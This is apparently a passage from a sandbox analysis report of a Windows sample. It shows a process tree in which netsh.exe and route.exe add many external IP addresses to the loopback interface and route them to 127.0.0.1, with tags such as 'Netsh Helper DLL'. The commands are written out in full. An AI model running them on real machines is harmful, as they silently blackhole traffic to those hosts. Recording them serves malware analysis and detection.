  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.215 255.255.255.255
  2⤵
  PID:5868
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.192.209.215
  2⤵
  PID:2256
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.192.209.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:596
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.197.25.108 255.255.255.255
  2⤵
  PID:4196
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.197.25.108
  2⤵
  PID:972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.197.25.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4788
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.241.247 255.255.255.255
  2⤵
  PID:844
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.205.241.247
  2⤵
  PID:5928
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.205.241.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4516
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.253.148 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3724
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.205.253.148
  2⤵
  PID:5060
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.205.253.148 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1492
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.15 255.255.255.255
  2⤵
  PID:828
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.217.192.15
  2⤵
  PID:6000
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.217.192.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2436
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.16 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3428
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.217.192.16
  2⤵
  PID:3408
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.217.192.16 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5316
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.58 255.255.255.255
  2⤵
  PID:3168
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.36.165.58
  2⤵
  PID:260
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.36.165.58 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5876
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.68 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.36.165.68
  2⤵
  PID:2804
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.36.165.68 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2072
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.10.73 255.255.255.255
  2⤵
  PID:3584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.10.73
  2⤵
  PID:5636
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.10.73 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3224
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.118.81 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5624
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.118.81
  2⤵
  PID:1504
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.118.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1768
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.15.245 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3304
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.15.245
  2⤵
  PID:3664
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.15.245 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2304
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.198.227 255.255.255.255
  2⤵
  PID:1444
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.198.227
  2⤵
  PID:2676
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.198.227 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1944
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.2.176 255.255.255.255
  2⤵
  PID:5584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.2.176
  2⤵
  PID:5656
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.2.176 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1888
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.22.38 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2240
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.22.38
  2⤵
  PID:2092
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.22.38 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4064
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.23.246 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4176
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.23.246
  2⤵
  PID:1792
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.23.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4484
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:844
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.28.69 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.28.69
  2⤵
  PID:5660
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.28.69 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5620
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3724
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.32.43 255.255.255.255
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.32.43
  2⤵
  PID:4568
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.32.43 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2524
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.34.28 255.255.255.255
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.34.28
  2⤵
  PID:5604
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.34.28 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2164
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.38.108 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3408
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.38.108
  2⤵
  PID:2152
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.38.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.4.133 255.255.255.255
  2⤵
  PID:2620
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.4.133
  2⤵
  PID:2212
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.4.133 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1844
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5880
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.42.238 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5564
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.42.238
  2⤵
  PID:2584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.42.238 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:200
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.43.9 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4240
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.43.9
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.43.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4348
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.47.14 255.255.255.255
  2⤵
  PID:2604
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.47.14
  2⤵
  PID:840
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.47.14 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1560
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.51.212 255.255.255.255
  2⤵
  PID:6080
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.51.212
  2⤵
  PID:3936
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.51.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.53.194 255.255.255.255
  2⤵
  PID:4692
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.53.194
  2⤵
  PID:2308
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.53.194 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1376
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.59.125 255.255.255.255
  2⤵
  PID:5780
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.59.125
  2⤵
  PID:5456
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.59.125 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1300
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.61.200 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:500
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.61.200
  2⤵
  PID:4512
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.61.200 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5228
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.71.80 255.255.255.255
  2⤵
  PID:1372
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.71.80
  2⤵
  PID:4744
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.71.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4872
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.78.212 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3372
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.78.212
  2⤵
  PID:3140
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.78.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3724
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.244.5 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5060
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.24.244.5
  2⤵
  PID:4324
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.24.244.5 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1008
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.33.36 255.255.255.255
  2⤵
  PID:3680
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1828
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.24.33.36
  2⤵
  PID:4468
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.24.33.36 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4276
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.152.66 255.255.255.255
  2⤵
  PID:5572
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.152.66
  2⤵
  PID:4980
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.152.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3336
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.153.110 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3364
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2620
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.153.110
  2⤵
  PID:5916
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.153.110 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2260
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.18.105 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4036
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2804
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.18.105
  2⤵
  PID:2856
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.18.105 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2568
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3584
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.26.13.144 255.255.255.255
  2⤵
  PID:5756
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.26.13.144
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.26.13.144 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5708
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.193.156 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1768
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.27.193.156
  2⤵
  PID:4052
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3304
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.27.193.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1560
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3664
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.90.111 255.255.255.255
  2⤵
  PID:5444
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.27.90.111
  2⤵
  PID:1508
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.27.90.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2972
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.54.223.230 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1944
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.54.223.230
  2⤵
  PID:5820
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.54.223.230 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1376
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5656
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.10 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1544
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.63.15.10
  2⤵
  PID:4496
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5456
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.63.15.10 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1300
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.9 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:428
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.63.15.9
  2⤵
  PID:3508
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.63.15.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5488
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 107.149.250.26 255.255.255.255
  2⤵
  PID:1904
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 107.149.250.26
  2⤵
  PID:5960
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 107.149.250.26 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3500
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4872
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 110.42.45.175 255.255.255.255
  2⤵
  PID:1564
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 110.42.45.175
  2⤵
  PID:4308
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 110.42.45.175 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1492
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 112.213.116.42 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4552
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 112.213.116.42
  2⤵
  PID:2524
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 112.213.116.42 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2476
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.12.18 255.255.255.255
  2⤵
  PID:6036
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.12.18
  2⤵
  PID:1836
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4468
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.12.18 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4276
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.220 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3088
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.36.220
  2⤵
  PID:5448
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.36.220 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:784
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.65 255.255.255.255
  2⤵
  PID:5912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2212
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.36.65
  2⤵
  PID:5880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.36.65 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3920
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.62.149 255.255.255.255
  2⤵
  PID:4412
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.62.149
  2⤵
  PID:1224
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.62.149 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5992
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 119.188.164.109 255.255.255.255
  2⤵
  PID:6116
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 119.188.164.109
  2⤵
  PID:1504
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 119.188.164.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4216
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 120.55.192.78 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5580
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 120.55.192.78
  2⤵
  PID:4436
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 120.55.192.78 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1940
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 123.206.101.228 255.255.255.255
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 123.206.101.228
  2⤵
  PID:2236
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 123.206.101.228 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3120
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.212.191 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5424
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 124.222.212.191
  2⤵
  PID:5980
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 124.222.212.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2120
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.67.215 255.255.255.255
  2⤵
  PID:5584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 124.222.67.215
  2⤵
  PID:1556
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 124.222.67.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:456
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 125.77.172.237 255.255.255.255
  2⤵
  PID:3252
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 125.77.172.237
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 125.77.172.237 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4448
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 137.175.126.218 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4484
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 137.175.126.218
  2⤵
  PID:1232
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 137.175.126.218 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4596
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5608
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 144.48.241.246 255.255.255.255
  2⤵
  PID:6048
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 144.48.241.246
  2⤵
  PID:1564
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 144.48.241.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1608
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.12.54.134 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3396
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5620
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.12.54.134
  2⤵
  PID:4516
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4324
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.12.54.134 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3232
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.199.36.208 255.255.255.255
  2⤵
  PID:4188
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.199.36.208
  2⤵
  PID:5604
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.199.36.208 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1140
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.201.71.15 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5452
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.201.71.15
  2⤵
  PID:108
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.201.71.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.36.174.60 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1100
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.36.174.60
  2⤵
  PID:5588
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.36.174.60 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5916
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.11 255.255.255.255
  2⤵
  PID:5972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.11
  2⤵
  PID:3344
